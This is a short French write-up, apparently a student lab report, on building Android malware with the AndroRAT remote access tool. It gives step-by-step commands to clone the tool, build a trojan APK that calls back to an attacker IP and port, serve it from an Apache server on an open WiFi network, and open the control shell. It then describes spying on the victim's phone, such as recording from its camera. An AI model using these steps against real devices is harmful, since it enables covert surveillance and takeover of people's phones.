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Création d’un malware sous 
Android 

Borne Wifi 

-Nom du wifi:  

"DLINK" 

(pas de mots de passe) 

Client Android 

Wifi 

Serveur Kali Linux 

-Adresse IP STAT 

-Outil AndroRAT 

-Serveur WEB apache 

avec le fichier.APK 



-------------------------------------------------------------------------------------------------------------------------------------- 

Description d’ANDRORAT 

AndroRAT est un outil conçu pour donner le contrôle du système Android à distance et en 

récupérer des informations. C’ est une application client/serveur développée en Java Android 

pour le côté client et le Serveur est en Python. 

 

-------------------------------------------------------------------------------------------------------------------------------------- 

 

 

Installation de celui-ci 

 

Pour installer AndroRAT il faut entrer ces lignes de commande de le terminal Kali 

Linux :  

- git clone https://github.com/karma9874/AndroRAT.git 

- cd AndroRAT 

- -pip install -r requirements.txt 

Par la suite il faut ensuite rentrer cette ligne de commande : 

- python3 androRAT.py –build –i 192.168.0.196 -p 8282 –o brieuc.apk  

 

 

 

dans cette ligne de commande, le « --build » permet de construire le fichier apk. Le –i 

permet lui de rentrer une adresse IP  

 

 

https://github.com/karma9874/AndroRAT.git


Par la suite il faut lancer apache2, avec la commande « sudo systemctl start apache2 »  

 

Et après lancer l’interface AndroRAT avec la commande « python3 androRAT.py --

shell –i 0.0.0.0 –p 8000  »  

 

 



Une fois que l’application est installé sur le téléphone de la victime AndroRAT le détecte et 

affiche ceci :  

 

 

 

 

 

On peut par exemple effectuer un record de la caméra 

 

 


